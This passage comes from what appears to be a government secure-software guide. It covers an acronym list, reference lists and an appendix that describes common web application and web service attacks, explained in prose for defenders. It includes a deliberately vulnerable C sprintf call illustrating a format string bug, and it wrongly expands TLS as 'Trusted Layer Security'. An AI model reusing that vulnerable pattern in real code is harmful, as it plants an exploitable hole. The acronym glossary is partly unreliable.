<td>1</td>
<td>TLS</td>
<td>Trusted Layer Security</td>
</tr>
<tr>
<td>2</td>
<td>TOE</td>
<td>Target of Evaluation</td>
</tr>
<tr>
<td>3</td>
<td>TPM</td>
<td>Trusted Platform Module</td>
</tr>
<tr>
<td>4</td>
<td>TSP</td>
<td>Team Software Process</td>
</tr>
<tr>
<td>5</td>
<td>U.S.</td>
<td>United States</td>
</tr>
<tr>
<td>6</td>
<td>UC-Davis</td>
<td>University of California at Davis</td>
</tr>
<tr>
<td>7</td>
<td>UDDI</td>
<td>Universal Description, Discovery, and Integration</td>
</tr>
<tr>
<td>8</td>
<td>UK</td>
<td>United Kingdom</td>
</tr>
<tr>
<td>9</td>
<td>UML</td>
<td>Unified Modeling Language</td>
</tr>
<tr>
<td>10</td>
<td>UMLSec</td>
<td>a security-enhanced UML profile</td>
</tr>
<tr>
<td>11</td>
<td>URI</td>
<td>Uniform Resource Identifier</td>
</tr>
<tr>
<td>12</td>
<td>URL</td>
<td>Uniform Resource Locator</td>
</tr>
<tr>
<td>13</td>
<td>US-CERT</td>
<td>United States Computer Emergency Response Team</td>
</tr>
<tr>
<td>14</td>
<td>VDM</td>
<td>Vienna Development Method</td>
</tr>
<tr>
<td>15</td>
<td>VM</td>
<td>Virtual Machine</td>
</tr>
<tr>
<td>16</td>
<td>VPN</td>
<td>virtual private network</td>
</tr>
<tr>
<td>17</td>
<td>VSE</td>
<td>Verification Support Environment</td>
</tr>
<tr>
<td>18</td>
<td>WebSSARI</td>
<td>Web application Security via Static Analysis and Runtime Inspection</td>
</tr>
<tr>
<td>19</td>
<td>WS</td>
<td>Web Service</td>
</tr>
<tr>
<td>20</td>
<td>WSDL</td>
<td>Web Services Definition Language</td>
</tr>
<tr>
<td>21</td>
<td>XACML</td>
<td>eXtensible Access Control Markup Language</td>
</tr>
<tr>
<td>22</td>
<td>XHTML</td>
<td>eXtensible HyperText Markup Language</td>
</tr>
<tr>
<td>23</td>
<td>XML</td>
<td>eXtensible Markup Language</td>
</tr>
<tr>
<td>24</td>
<td>XP</td>
<td>eXPerience <em>(Windows version)</em>; eXtreme Programming <em>(agile method)</em></td>
</tr>
</tbody>
</table>
APPENDIX B: REFERENCES AND RESOURCES

The Section B.1 is a listing of resources to information for further reading on software security topics. These resources are organized according to their subject matter.

The Section B.2 provides specific references mentioned throughout this document, organized according to the document section in which the reference appears.

In both sections, URLs are provided for those references that are available on the World Wide Web or on a generally accessible private network. “Offline” references, such as books, are listed without URLs, unless there is a web page containing useful information about or an online excerpt from the book, in which case the URL to that page is provided.

B.1. Resources for Further Reading

Sites Devoted to Software Security, Application Security, or Secure Development

DHS-sponsored BuildSecurityIn web portal
https://buildsecurityin.us-cert.gov/

Open Web Application Security Project
http://www.owasp.org/index.jsp

Carnegie Mellon University Software Engineering Institute Publications
http://www.sei.cmu.edu/publications/publications.html

Microsoft Security Developer Center
http://msdn.microsoft.com/security/

Palisade Application Security Intelligence
http://palisade.paladion.net/

Secure Software Engineering

Software Security issue (October 2005)

DoD Software Tech News Secure Software Engineering issue (July 2005, Vol. 8, No. 2)

IsecT NOTICEBORED Secure Software Development issue (Issue 30 - November 2005)
http://www.noticebored.com/NB_newsletter_on_secure_devt.pdf

SANS InfoSec Reading Room: Securing Code
http://www.sans.org/rr/whitepapers/securecode/

SANS InfoSec Reading Room: Application and Database Security
http://www.sans.org/rr/whitepapers/application/

Matt Bishop’s Papers

Michael Howard’s Web Log

Publications by Professor Gerhard Popp, Universität Innsbruck Institut für Informatik
http://www4.informatik.tu-muenchen.de/~popp/publications/

Open Seminar on Software Engineering: Security and Privacy
http://openseminar.org/se/modules/15/index/screen.do

Whitepapers, Articles, and Research Reports by Security Innovation
http://www.securityinnovation.com/resources/whitepapers.shtml

Application Security Industry Consortium: Resources: Papers
http://www.appsic.org/papers.htm

Ounce Labs Library
http://www.ouncelabs.com/library.asp

Advosys Consulting: Writing Secure Web Applications
http://advosys.ca/papers/web-security.html


Premkumar Devanbu, UC-Davis, Stuart Stubblebine, CertCo, Inc.: Software Engineering for Security: A Roadmap
http://www.software systems.org/future.html

Axel van Lamsweerde, Peter Van Roy, Jean-Jacques Quisquater: MILOS: Méthodes d’Ingénierie de Logiciels Sécurisés (in French)
http://www.info.ucl.ac.be/people/PVR/MILOSabstr.rtf

SAP AG Secure Software Development Guide
Requirements for Secure Software

Miroslav Kis, Ph.D., CISSP: Information Security Antipatterns in Software Requirements Engineering


John McDermott and Chris Fox, James Madison University: Using Abuse Case Models for Security Requirements Analysis

Axel van Lamsweerde, Simon Brohez, Renaud De Landtsheer, David Janssens, Université Catholique de Louvain: From System Goals to Intruder Anti-Goals: Attack Generation and Resolution for Security Requirements Engineering

Risk Management and Threat Modeling

Dan Sellers, Microsoft Canada: Threat Modeling
http://silverstr.ufies.org/threatmodeling.ppt

Threat Modeling Web Applications

D R A F T
P. Torr, Microsoft Corporation: Guerrilla Threat Modelling

Threat Modeling Web Applications


Rajeev Gopalakrishna, Eugene H. Spafford, Jan Vitek, Purdue University Center for Education and Research in Information Assurance and Security (CERIAS): Vulnerability Likelihood: A Probabilistic Approach to Software Assurance (CERIAS TR 2005-06)

Rajeev Gopalakrishna, Eugene H. Spafford, Purdue University CERIAS: A Trend Analysis of Vulnerabilities (CERIAS TR 2005-05)

http://www.ouncelabs.com/audit/

Software Risk and Regulatory Compliance: At-a-Glance Guides

Secure Software Design and Modeling

http://cs.wwc.edu/~aabyan/FAS/book/node76.html
Joshua Pauli, Dakota State University; Dianxiang Xu, North Dakota State University: Threat-Driven Architectural Design of Secure Information Systems
http://cs.ndsu.edu/~Edxu/publications/pauli-xu-ICEIS05.pdf

Joshua Pauli, Dakota State University; Dianxiang Xu, North Dakota State University: Misuse Case-Based Design and Analysis of Secure Software Architecture
http://www.homepages.dsu.edu/paulijs/pubs/pauli-xu-ITCC05.pdf


Andrew P. Moore, CMU SEI: Security Requirements Engineering through Iterative Intrusion-Aware Design

http://www.cert.org/archive/pdf/03tr002.pdf

http://palms.ee.princeton.edu/PALMSopen/Lee-41stDAC_46_1.pdf

Secure Software Implementation
Implementation Schemes for Secure Software
http://anzen.is.titech.ac.jp/index-e.html

Microsoft Security Development Lifecycle (SDL)
Steve Lipner, Michael Howard, Microsoft Corporation: The Trustworthy Computing Security Development Lifecycle
http://msdn.microsoft.com/security/sdl
http://msdn.microsoft.com/msdnmag/issues/05/11/SDL/default.aspx


Applying MDA to the Software Security Problem

David Basin, ETH Zurich, Martin Buchheit, Bernhard Hollunder, and Torsten Lodderstedt, Interactive Objects Software GmbH, and Jürgen Doser, Universität Freiburg (Germany): ArcSecure - Model Driven Security
http://www.softwarefoerderung.de/projekte/vortrag_ARCSECURE.pdf

Manuel Koch, Free University of Berlin (Germany) and Francesco Parisi-Presicce, George Mason University:
http://www.inf.fu-berlin.de/inst/ag-ss/papers/FMSE03.pdf

Applying Aspect Oriented Software Development to the Software Security Problem

Aspect-Oriented Software Development Interests
http://www.cs.wpi.edu/~gpollice/Interests/AOSD.html

Aspect-Oriented Modeling Research Group: Publications
http://www.cs.colostate.edu/~georg/aspectsPub/aspectsIndex.htm

Agile Development Methods and Software Security


Martin Fowler: The New Methodology
www.martinfowler.com/articles/newMethodology.html

Applying Formal Methods to the Software Security Problem


World Wide Web Virtual Library Formal Methods page
http://vl.fmnet.info/

Security of Reused or Acquired Software


Software Security Testing

Pete Herzog: Open Source Security Testing Methodology Manual (OSTMM)
http://www.isecom.org/osstmm/
http://www.osstmm.org

Adam Shostack: Security Code Review Guidelines
http://www.homeport.org/~adam/review.html

Using Tools in Developing Secure Software

Ken Ashcraft and Dawson Engler, Stanford University: Using Programmer-Written Compiler Extensions to Catch Security Holes
http://www.stanford.edu/~engler/sp-ieee-02.ps

Other Resources of Interest

Issues in Developing Security Wrapper Technology for COTS Software Products
http://iit-iti.nrc-cnrc.gc.ca/publications/nrc-44924_e.html


Mohamed Elgazzar, Microsoft Corporation: Security in Software Localization

pg. 142
http://www.microsoft.com/globaldev/handson/dev/secSwLoc.mspx

Software Security Summit
http://www.s-3con.com/

Why is some software more secure than others?
http://irccrew.org/~cras/security/securesoftware.html

Books on Secure Software Engineering Topics


http://www.microsoft.com/press/books/5957.asp

http://www.buildingsecuresoftware.com/

http://www.securecoding.org/


http://innocentcode.thathost.com/

http://www.springer.com/sgw/cda/frontpage/0,11855,4-164-22-2319046-0,00.html

Herbert Thompson, Scott Chase: The Software Vulnerability Guide (Charles River Media, 2005)

http://www.exploitingsoftware.com/

1. Introduction

Andrew Jaquith, @stake, Inc.: The Security of Applications: Not All Are Created Equal (February 2002)

Andrew Jaquith, @stake, Inc.: The Security of Applications, Reloaded


2. Why Does Software Security Matter?

Wikipedia definition of “resilience” as it pertains to business operations.

3. Software and Security

Wikipedia discussion of “Emergent Property”
http://en.wikipedia.org/wiki/Emergent_property

3.1. Providing Context: Information Assurance and Cybersecurity

http://security.isu.edu/ppt/shows/information_assurance.htm
http://security.isu.edu/ppt/pdfppt/information_assurance.pdf

Committee on National Security Systems: National Information Assurance (IA) Glossary

MARCORSYSCOM C4II IA Division: An IA Tutorial
http://www.marcorsyscom.usmc.mil/Sites/PMIA%20Documents/How%20Do%20I%20What%20is%20IA%20How%20do%20I%20start/An%20IA%20Tutorial.ppt

MARCORSYSCOM C4II IA Division: Introduction to IA (March 2003)


http://fpc.state.gov/documents/organization/43393.pdf

http://www.iss-eu.org/chaillot/chai76.pdf

Finnish Communications Regulatory Authority: Information Security Basics
http://www.ficora.fi/englanti/tietoturva/ttperusteet.htm

National Academy of Sciences Computer Science and Telecommunications Board: Cybersecurity Today and Tomorrow: Pay Now or Pay Later (2002) [excerpts]
3.3.3. Correctness and Software Security

Bala Subramaniam, ISSRe Systems, Inc.: Effective Software Defect Tracking (CrossTalk, April 1999)

4. Security in the Development Lifecycle

J.D. Meier, Alex Mackman, Blaine Wastell, Prashant Bansode, Kishore Gopalan, Microsoft Corporation: Security Guidelines: .NET Framework 2.0

4.1.1.1. Microsoft Threat Modeling Process

Frank Swiderski and Window Snyder, Microsoft Corporation: Threat Modeling (Microsoft Press, 2004)
4.1.1.2. CORAS and SECURIS

CORAS: A Platform for Risk Analysis of Security Critical Systems
http://www2.nr.no/coras/

The CORAS Project
http://coras.sourceforge.net/

CORAS: A Tool-Supported Methodology for Model-Based Risk Analysis of Security Critical Systems
http://heim.ifi.uio.no/~ketils/coras/

SECURIS: Model-driven Development and Analysis of Secure Information Systems
http://www.sintef.no/content/page1____1824.aspx

The SECURIS Project: Model-Driven Development and Analysis of Secure Information Systems
http://heim.ifi.uio.no/~ketils/securis/index.htm

4.1.1.3. PTA Calculative Threat Modeling Methodology

Practical Threat Analysis for Securing Computerized Systems
http://www.ptatechnologies.com/

4.1.1.4. Trike

Trike conceptual framework and supporting tool for threat modeling
http://www.octotrike.org/
http://dymaxion.org/trike/

Ounce Labs’ Prexis
http://www.ouncelabs.com/overview.html

4.1.1.5.1. NASA Software Security Assessment Instrument (SSAI)

NASA Reducing Software Security Risk website
http://rssr.jpl.nasa.gov

University of California-Davis: Tools that Check Programs
http://seclab.cs.ucdavis.edu/projects/testing/
4.1.1.6. System Risk Assessment Methodologies and Tools Useful for Software Risk Analysis

NIST Draft SP 800-26 Revision 1, “Guide for Information Security Program Assessments and System Reporting Form” (August 2005). Search in:
http://csrc.nist.gov/publications/drafts/

NIST SP 800-30 “Risk Management Guide for Information Technology Systems” (July 2002). Search in:
http://csrc.nist.gov/publications/nistpubs/

NIST Automated Security Self-Evaluation Tool (ASSET)
http://csrc.nist.gov/asset/

CMU SEI OCTAVE and OCTAVE-S
http://www.cert.org/octave/

Siemens/Insight Consulting CRAMM
http://www.insight.co.uk/products/cramm.htm
http://www.cramm.com/

Amenaza SecurITree
http://www.amenaza.com/

Isograph AttackTree+
http://www.isograph-software.com/atpover.htm

4.2. Increasing Security through Use of Lifecycle Process Models and Development Methodologies

CMMI
http://www.sei.cmu.edu/cmmi/

FAA-iCMM
http://www.faa.gov/ipg/pif/icmm/index.cfm

Six Sigma
http://www.motorola.com/content/0,,3070-5788,00.html

SSE-CMM
http://www.sse-cmm.org/index.html

4.2.2. Planning for Late-Lifecycle Security Validations: System C&A and CC Evaluation

Common Criteria (CC) Evaluation
http://niap.nist.gov/cc-scheme/index.html

NIACAP

DITSCAP
http://iase.disa.mil/ditscap/

DCID 6/3 Policy and Manual
http://www.fas.org/irp/offdocs/DCID_6-3_20Policy.htm
http://www.fas.org/irp/offdocs/DCID_6-3_20Manual.htm

DoD Acquisition Policy Documents
http://akss.dau.mil/dapc/index.html

NIST SP 800-64, Security Considerations in the Information System Development Life Cycle (June 2004 revision). Search at:


4.3.2.2. Comprehensive, Lightweight Application Security Process (CLASP)

Secure Software: CLASP

4.3.3.1. Using Model Driven Architecture (MDA) to Achieve Secure Software

OMG Model Driven Architecture: The Architecture of Choice for a Changing World®
http://www.omg.org/mda/

4.3.3.2. Secure Object-Oriented Modeling with Unified Modeling Language (UML)

http://www.arctecgroup.net/briefings.htm
4.3.3.4. Can Agile Development Methods Produce Secure Software?


Manifesto for Agile Software Development

http://agilemanifesto.org/

4.3.3.4.1. Potential Areas of Conflict Between Agility and Security

Summary of the First eWorkshop on Agile Methods (April 8, 2002), Part 3: Applicability of Agile Methods for
Critical, Reliable, and Safe Systems


Panel on Secure Agility and Agile Security (JavaPolis 2005)

http://www.javapolis.com/confluence/display/JP04/Secure+agility+and+agile+security?decorator=printable

4.3.3.4.3. Reconciling Agile Practices with Software Security Needs

A. Tappenden, P. Beatty, and J. Miller of University of Alberta and A. Geras and M. Smith of University of
Calgary: Agile Security Testing of Web-Based Systems via HTTPUnit (Proceedings of the AGILE2005
Conference, July 2005)

4.3.3.5.5. Formal Development Methods, Languages, and Tools

Kestrel Institute: Specware
http://www.kestrel.edu/home/prototypes/specware.html

5.1. Software Security Requirements Engineering

Joint Application Design/Development (JAD)
http://www.umsl.edu/~sauter/analysis/JAD.html

Automated Requirements Measurement (ARM)
http://satc.gsfc.nasa.gov/tools/arm/

Software Cost Reduction (SCR)
http://chacs.nrl.navy.mil/5540/personnel/heitmeyer/

System Quality Requirements Engineering (SQUARE)
Search for SQUARE materials on the BuildSecurityIn portal.

Requirements Engineering Verification and Validation (REVEAL)
http://www.praxis-his.com/reveal/

5.4.6. Software Security Testing Tools

NIST SAMATE

5.5.10. Trusted Distribution


5.7.1. Secure Configuration Management (CM)

5.7.1.1. CM and Patch Management

Microsoft Baseline Security Analyzer (MBSA)

6.2. Selection and Use of Development Tools

Gerardo Richarte, Core Security: Four Different Tricks to Bypass StackShield and StackGuard Protection (April 2002)
http://www.ouah.org/gerastackguard.pdf

Libsafe Library Security Function Format String Protections Can Be Bypassed

Bypassing libsafe format string protection
http://www.ouah.org/bypasslibsafe.html

6.3 Education and Training of Developers

Glen Kunene, Senior Editor: Security Training Falling Through the Education Cracks (DevX, 22 February 2005)
http://www.devx.com/security/Article/27323/


James Madison University M.S. in Computer Science, Concentration in Secure SW Engineering
http://www.cs.jmu.edu/sse/

Walden University M.S. in SW Engineering, Specialization in Secure Computing
http://www.waldenu.edu/c/Schools/Schools_2740.htm

Northern Kentucky University Graduate Certificate in Secure Software Engineering
http://mscs.nku.edu/faq.html#q1
C.9. Spyware

Anti-Spyware Coalition Definitions and Supporting Documents, including their Working Report dated 27 October 2005
http://www.antispywarecoalition.org/documents/index.htm

D.1. National Cyber Security Taskforce Processes to Produce Secure Software

Processes to Produce Secure Software Volume I
http://www.cyberpartnership.org/software development lifecycleFULL.pdf
Processes to Produce Secure Software Volume II

SEI Team Software Process (TSP) for Secure Systems Development
http://www.sei.cmu.edu/tsp/tsp-secure-presentation/

NOTE ALSO: Richard C. Linger, CMU SEI, Stacy J. Prowell, University of Tennessee: Developing Secure Software with Cleanroom Software Engineering (appears in Volume II of Processes to Produce Secure Software)

D.2. Emerging ISO/IEC 15026 Software Assurance Process

http://www.software.org/quagmire/descriptions/iso-iec12207.asp

ISO/IEC 15288, System Life Cycle Processes
http://www.processforusability.co.uk/Usability_test/html/integration.html
http://www.software.org/quagmire/descriptions/iso-iec15288.asp

ISO/IEC 16085 (originally IEEE Std 1540), Software Risk Management Process
http://psmsc.com/UG2001/Presentations/06IEEEStandard1540.PDF

ISO/IEC 15939, Software Measurement Process
http://www.software.org/quagmire/descriptions/iso15939.asp

D.3. Proposed Safety and Security Extensions to CMMI/ICMM


Appendix E. Security Checklists

OWASP Web Application Penetration Checklist v1.1
http://www.owasp.org/documentation/testing/application.html

DISA: Application Security Checklist Version 2 Release 1.7
http://iase.disa.mil/stigs/checklist/app-security-checklist-v2r17-19aug05.doc
http://csrc.nist.gov/pcig/CHECKLISTS/app-security-checklist-v2r17-19aug05.doc
1. NASA JPL: Software Security Checklist for the Software Life Cycle (component of the SSAI)

2. AusCERT Secure Unix Programming Checklist
APPENDIX C: COMMON ATTACKS AGAINST WEB APPLICATIONS AND WEB SERVICES

The following are common attacks targeting vulnerabilities commonly found in web applications and web services. With exceptions noted in brackets, both web applications and web services are subject to these attacks.

C.1. “Reconnaissance” Attacks

Reconnaissance attacks are used to gather information about an application and its execution environment in order to better craft other types of attacks on the application. The following are common reconnaissance attacks.

C.1.1. Dictionary Attack

Many systems have weak password protection and web service interfaces are no different. Unlike web portals, XML web service interfaces are heterogeneous in nature with each system having its own authentication system and methods for deterring undesired behavior. Dictionary attacks are common where an attacker may either manually or programmatically attempt common passwords to gain entry into a system or multiple systems. Administrators should ensure that passwords are difficult to guess and are changed often. Unlike standard user credentials, application credentials are determined by the administrator. Password strengthening rules that are desirable for users should also apply to administrators of web service interfaces.

The use of code templates and comments in XML and XHTML code, or even the form of URLs or URIs used in the web service, can provide information about the backend systems or the development environment of the web application. Specifically, the use of template code can prove to be dangerous. This code can be obtained from many sources, and can contain bugs that are easily identified in the source code. This information can be used to exploit a specific vulnerability or narrow the focus of vulnerability scans performed on the system.

C.1.2. Forceful Browsing Attack

Forceful browsing attacks attempt to detect web services that are not explicitly publicized. An example of forceful browsing is an intruder making repeated requests to the web service with the URL patterns of typical web application components such as CGI programs. Depending on error messages received, this technique can be used to gain information about the unpublicized web service.

C.1.3. Directory Traversal Attack

A directory traversal attack is closely related to a forceful browsing attack. Directory traversal occurs when an attacker tries to access restricted files used by a web service. Usually, the requested files reside outside of the web service host’s normal file system directory, but they can also include resources within the service’s host server that are restricted from being accessed by the attacker. Directory traversal attacks against web services can be used to access the host server’s password files, or to access executables on the server in order to execute arbitrary commands. An example of directory traversal against a web service is an attacker sending repeated Simple Object Access Protocol (SOAP) requests for common or undisclosed methods.

C.1.4. WSDL Scanning

This type of attack is comparable to a directory traversal attack against a web application. Web Services Definition Language (WSDL) is an advertising mechanism for web services to dynamically describe the parameters used when connecting with specific methods. These files are often built automatically using utilities. These utilities, however, are designed to expose and describe all of the information available in a method. A
knowledgeable attacker may be able to locate web services that have been removed from the pregenerated WSDL and subsequently access them.

### C.1.5. Sniffing

Sniffing, or eavesdropping, is the act of monitoring network traffic exchanged between web services in order to capture sensitive plaintext data such as unencrypted passwords and security configuration information transmitted in SOAP, UDDI (Universal Description, Discovery, and Integration), WSDL, and other such messages. With a simple packet sniffer, an attacker can easily read all plaintext traffic. Also, attackers can crack packets encrypted by lightweight algorithms and decipher the payload that the web service developer considers to be secure. The sniffing of packets requires inserting a packet sniffer into the path between the service-to-service (or portal-to-service) traffic flow.

### C.2. Privilege Escalation Attempts

The objective of privilege escalation attempts is to enable the attacker to change the privilege level of a process, thereby taking control of that now-compromised process in order to bypass security controls that would otherwise limit the attacker’s access to the web service’s functionality, data, resources, and environment. Web services are often configured to run with specific group or user permissions unrelated to those of the end user (human or consumer service) responsible for causing the service’s execution (e.g., “anonymous” or “nobody” permissions). Such web services, if they also suffer from buffer overflows or race conditions, can be used to increase the permissions grabbed by the attacker, escalate the attacker’s ability to cause damage to the web service, its data, resources, or environment.

#### C.2.1. Format String Attacks

Format string vulnerabilities are caused by programmer errors. For example, a C programmer may mean to type:

```c
    sprintf(buf, "%s", str);
```

but instead types:

```c
    sprintf(buf, str);
```

When the C code is compiled, it executes exactly as the programmer expected. However, because the programmer left out the format string (“%s”), `sprintf` will interpret the string `str` to be the format string. This defect can be exploited by the attacker to compromise the program.

To exploit a format string vulnerability, the attacker sends unexpected inputs to the program in the form of strings specifically crafted to cause a privileged program to enable privilege escalation by a normal user. The format string vulnerability can then trick the privileged program into allowing arbitrary data to be written to the stack, thus enabling the attacker to take control of the program and the host on which it runs.

#### C.2.2. Exploiting Unprotected Administrator Interfaces

Many web services have administrative interfaces that contain vulnerabilities. Typical vulnerabilities in local and remote administration interfaces include:

- **Incorrectly configured access control security levels**: If the access controls on the administration interface are set too low (e.g., equal to user-level access), an attacker who manages to gain less-than-administrator privileges may be able to access and exploit the administration interface.
• **Incorrectly configured SSL security levels:** If the SSL is configured incorrectly, it may not achieve cryptographic separation of administrator sessions/tunnels from user sessions/tunnels. In addition, incorrectly configured SSL may not perform client or server authentication as expected allowing for man-in-the-middle attacks.

• **Authentication of administrators:** When using HTTP Basic Authentication or HTML Form authentication without SSL, the administrator’s password is transmitted between his/her client and the web service host in unencrypted form. If intercepted, the attacker gains access not just to administrator-accessible data, but also to privileged processes, configuration files, and security files. While the HTTP Digest Authentication does not send the administrator’s password in cleartext form, the attacker can simply retransmit the digest to gain access to the service.

• **Internal, informative application error messages returned to users:** Such messages, if intercepted, can provide important “reconnaissance” information to attackers. To prevent this, all error messages should be logged and redirected via an SSL-encrypted connection to the administrator. In place of the original error message, an uninformative generic error message should be provided to all other users.

### C.3. Attacks on Confidentiality

The objective of a confidentiality attack is to force the targeted application or service to disclose information that the attacker is not authorized to see, including sensitive information and private information. The following are common confidentiality attacks.

#### C.3.1. Viewing Hidden Data and User-Viewable Source Code

[web applications only]

When not using SSL, hidden fields in HTML/XHTML forms, and hidden data in documents (especially documents created by Microsoft Office applications) transmitted from web servers, have been reported to contain a range of private user information and other confidential information that could be exploited by attackers, such as:

- Usernames, phone numbers, email addresses, IP addresses, etc., of content creators;
- Information about the version of tool/editor/code generator used to create the content;
- Web server version;
- File system directory information;
- Developer information, such as changes made since previous versions of the content;
- Pricing information (ecommerce forms);
- Text deleted from the document before its final “save”;
- Text from other documents that are present due to a bug in the application that created the document (e.g., resulting from the “dependencies” feature supported between applications in the Microsoft Office suite).

#### C.3.2. Session Hijacking

[web applications only]

Since HTTP is stateless, non-SSL/TLS web applications often need a mechanism to bind user actions into a single stateful session. Session objects are created on the server side and store the identifier of this object, the session identifier, in a cookie in the client’s browser or as a parameter passed in each URL the client requests. Changing
the session identifier in the cookie or URL on the client side to match the identifier of another user’s session can be used to hijack this session. These session identifiers can be found out by listening to network traffic or by guessing.

While using SSL/TLS can prevent session hijacking of web applications, weak configurations of SSL/TLS are susceptible to session hijacking as well. By hijacking a session, an attacker can interact with the web-based application at the same time as the original user. Session hijacking is more of a threat when session identifiers are predictable or obtainable, or if the site allows IP hopping. IP hopping is permitting the user to change their IP address mid-session without having to reauthenticate to the web site.

**C.3.3. Registry Disclosure Attacks**

Attackers can use misconfigured registries (LDAP, X.500, etc.) to obtain information about the web application or web service being attacked. In particular, these registries can contain authentication information that an attacker may be able to use. Attackers can also use web service UDDI and ebXML (electronic business XML) registries to obtain information about the web service being attacked. Important points of information disclosure are the WSDL descriptions in the UDDI or ebXML registry, and the registry’s audit logs. Further, these registries can be compromised or corrupted, which may allow an attacker to gain information about the web service’s host or even gain access to that host.

**C.4. Attacks on Integrity**

The objective of an integrity attack is to exploit the targeted application or services in order to make unauthorized changes to information accessed/handled by the application/service. The following are common integrity attacks.

**C.4.1. Parameter Tampering**

In a web application, HTML and XHTML forms can be saved to disk on the client side and edited, causing a problem if hidden form fields contain data thought to be immutable, like the price of an item.

In a web service, arbitrary data can be passed as parameters to web service methods. These parameters may have been thought to be immutable within the web service. If sufficient verification mechanisms are not in place, this leads to possible attacks. An example of a verification mechanism is the establishment of constraints on type and format in the WSDL file, then verifying that the correct type and format was received by the web service.

**C.4.2. Coercive Parsing**

[web services only]

XML is a standard file format for many applications. The basic premise of a coercive parsing attack is to overload the XML parser. Legitimate but large XML files will cause the XML parser to treat them as valid, but a denial of service will occur while processing the XML file, as a sufficiently large XML file will consume all of the system’s resources.

**C.4.3. Schema Poisoning**

[web services only]

XML Schemas provide formatting instructions for parsers when interpreting XML documents. Schemas are used for all of the major XML standard grammars coming out of the Organization for the Advancement of Structured Information Standards (OASIS). Because these schemas describe necessary preprocessing instructions, they are susceptible to poisoning. An attacker may attempt to compromise the schema in its stored location and replace it
with a similar but modified one that will either cause valid XML documents to be rejected, or cause invalid or malicious XML documents to be accepted by the application.

C.4.4. Spoofing of UDDI and ebXML Messages

Dense groups of UDDI or ebXML garbage data can obscure query results related to specific provider web services. “Garbage” data within UDDI is defined to be useless data either intentionally or carelessly added by users via the publish API defined in the Programmers API Specification. This garbage, if permitted to collect at too great a rate, can shut down one or more UDDI operators. For example, a vast amount of data could be added to UDDI as a form of a denial of service attack upon the registry. In addition, a critical mass of data may appear to be related to the “Net-Centric Service Program” but in actuality is not related, and thus could fool legitimate users into believing that certain query results come from the Net-Centric Service Program when, in fact, those results come from a different, possibly illegitimate source.

Another possible target of attack will be the UDDI or ebXML registry used for discovery of web services. This registry is a directory (comparable to an LDAP or X.500 directory) or database, and is vulnerable to the same types of attacks as other directories and databases, particularly in terms of integrity and availability. It is possible to conceive of a cross-site scripting attack in which a web service’s entry in a UDDI or ebXML registry is compromised to direct the unsuspecting user to a bogus web service (i.e., spoofing).

C.4.5. Checksum Spoofing

The attacker intercepts and updates a message with a hash attached as an integrity mechanism, recomputes the hash (guessing the algorithm that was used to compute the original hash) and applies it to the altered message, then forwards that message to the intended destination. The web server or producer web service processes the message, running the plaintext of the message (“Place 100 orders”) through the hashing algorithm to recompute the hash, which will be equal to whatever the attacker computed.

C.4.6. Principal Spoofing

A message is sent which appears to be from a consumer web service. For example, the attacker sends a message that appears as though it is from a valid consumer service. Countermeasures for spoofing require correctly configuring perimeter security. For example, rejecting incoming packets from the Internet that contain an internal (“behind the firewall”) IP address in their header, as well as rejecting outgoing packets from when their headers indicate that the packets originated from an external IP address (“outside the firewall”).

C.4.7. Routing Detours

The WS-Routing specification provides a way to direct XML traffic through a complex environment. It operates by allowing an interim way station in an XML path to assign routing instructions to an XML document. If one of these web services way stations is compromised, it may participate in a man-in-the-middle attack by inserting bogus routing instructions to point a confidential document to a malicious location. From that location, then, it may be possible to forward on the document, after stripping out the malicious instructions, to its original destination.
C.4.8. External Entity Attack

[web services only]

XML enables a requestor web service to construct an XML document into which data is dynamically inserted at the time of document creation by pointing to the URL or URI of the data store where the needed data resides. However, if that data store is not established to be trustworthy (i.e., if the requestor service fails to authenticate the data store or validate the source of the data), an attacker may be able to reroute the requests for data to an entity he controls in order to return malicious content instead of valid data. Additionally, the attacker could intercept the XML data returned by the valid but untrusted data store and replace or augment that data with malicious content, which will then be included by the requestor web service in the dynamically constructed XML document.

C.4.9. Canonicalization

Different forms of input that resolve to the same standard name (the canonical name), is referred to as canonicalization. Web service code is particularly susceptible to canonicalization issues if it makes security decisions based on the name of a resource that is passed to it as input. Files, pathnames, URLs/URIs, and user names are the most frequently targeted resources vulnerable to canonicalization; in each case there are many different ways to represent the same name. File names are also problematic. Ideally, the web application or service will be designed to reject file names in input. The web application/service should require all input names to be converted to their canonical forms prior to being used by the service to make security decisions, such as whether access should be granted or denied to the specified file indicated by the canonical name.

C.4.10. Intelligent Tampering and Impersonation

This category of attack refers to attacks in which the attacker attempts to spoof a trusted server or service by impersonating or tampering with a legitimate program.

Intelligent tampering refers to scenarios in which the intruder modifies the web service program or its data in some specific way that allows the service to continue to operate in a way that seems normal, but which actually reflects a subverted state, or uses corrupted data. For example, overwriting the application’s data buffers with data that is in the correct format but has different-than-expected values is an example of intelligent tampering. Tampering with the web application or web service software in a random way (e.g. overwriting random bits in the memory) does not constitute an intelligent tampering attack, although it may result in a denial-of-service because the tampered program or data can cause execution to fail.

An impersonation attack is similar to intelligent tampering in that the attacker seeks to establish a rogue version of the legitimate web service program. Whereas intelligent tampering usually involves direct modifications to the internal specifics (e.g., code, data) of the program, impersonation attempts to emulate the observable behavior of the program while subverting its internal state.

C.5. Denial of Service (DoS) Attacks

Because web service interfaces are heterogeneous, it takes knowledge about the underlying web service applications to protect them against DoS attacks. For example, a web service that provides simple query responses might be able to handle 1,000 requests per second while a financial system made up of a series or collection of services that collaboratively perform complex financial transactions might only be able to handle five (5) requests per hour because of the complexity of the series of calculations involved. While sending ten (10) requests per hour to the query application would not degrade its performance at all, intentionally sending ten requests per hour...
to a financial system that is known or suspected to be incapable of handling such a load would constitute a DoS attack.

An even more sophisticated DoS attack could be crafted that targeted not just the first producer/provider service in a series, but which would simultaneously send additional requests to the other services in the series/collection via other conduits, thus increasing the load on the collection of services over all while reducing the likelihood of detection, as the increased load on any one service would be lower than an attack targeting only the series’/collection’s “entry point” service.

DoS attacks such as that described above would not detected by a firewall or an Intrusion Detection System (IDS), mainly because these countermeasures currently do not provide the granularity necessary to control DoS on a per-transaction/operation basis, and also because these countermeasures tend to be either entry-point or per-host specific, and without sophisticated collection, correlation, and analysis tools will not be able to to detect DoS attacks specifically launched against series of services. Only an understanding of real-world usage can prepare the administrator to compile profile information on each web service so that countermeasures can be correctly selected and configured to protect each service from DoS attacks. Common DoS attacks are described in more detail below.

C.5.1. Flooding Attacks

